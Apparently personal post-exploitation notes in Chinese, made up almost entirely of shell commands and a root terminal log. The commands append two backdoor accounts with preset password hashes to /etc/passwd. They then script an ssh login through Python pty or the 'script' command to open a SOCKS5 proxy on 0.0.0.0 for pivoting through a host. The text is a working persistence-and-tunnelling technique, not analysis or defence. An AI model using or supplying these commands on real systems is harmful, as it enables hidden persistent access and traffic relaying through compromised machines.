准备环境:
cp /etc/passwd /etc/passwd.bak
tail /etc/passwd
echo "tee:\$1\$123456\$wOSEtcyiP2N/IfIl15W6Z0:229:2:toor:/tmp:/bin/bash" >>/etc/passwd
echo "yes:\$1\$123\$EKWAR30..wEKERDtzOQUv/:200:2:toor:/tmp:/bin/bash" >>/etc/passwd
tail /etc/passwd
((sleep 0.4;echo yes;sleep 0.2;echo yes;sleep 0.2;echo exit;)|python -c 'import pty;pty.spawn(["bash","-c","ssh -f -N -D 0.0.0.0:1304 yes@127.0.0.1"]);')&
netstat -anlp| grep 1302
使用( xxx) & ,切换到后台,是因ssh或者bash不会自动退出,但是可以使用ctrl +C 结束.
原因不明.
ssh -f -N -D 0.0.0.0:1304 yes@127.0.0.1
这句话就是在本地起socks5代理,端口号1304,
- -f:后台执行ssh指令
pty模块基本都是python自带的,
使用socat的pty功能 ,没有成功,也不会使用c语言静态编写一个elf文件,
只能使用pty了
使用script命令如下:
(sleep 0.5;echo "ssh -f -o StrictHostKeyChecking=no -N -D 0.0.0.0:40079 yes@127.0.0.1";sleep 0.5;echo yes;sleep 0.5;echo exit;)|script /dev/null
root@out:~# (echo id ;sleep 2;echo "ssh -f -o StrictHostKeyChecking=no -N -D 0.0.0.0:60079 yes@127.2.0.6";sleep 1;echo yes;sleep 1;echo exit;)| script /dev/null
Script started, file is /dev/null
id
root@out:~# id
uid=0(root) gid=0(root) groups=0(root)
Warning: Permanently added '127.2.0.6' (ECDSA) to the list of known hosts..2.0.6
yes@127.2.0.6's password:
root@out:~# exit
exit
Script done, file is /dev/null
root@out:~# which script
/usr/bin/script
root@out:~# ls -al /usr/bin/script
-rwxr-xr-x 1 root root 23200 Jun 14 2017 /usr/bin/script
root@out:~#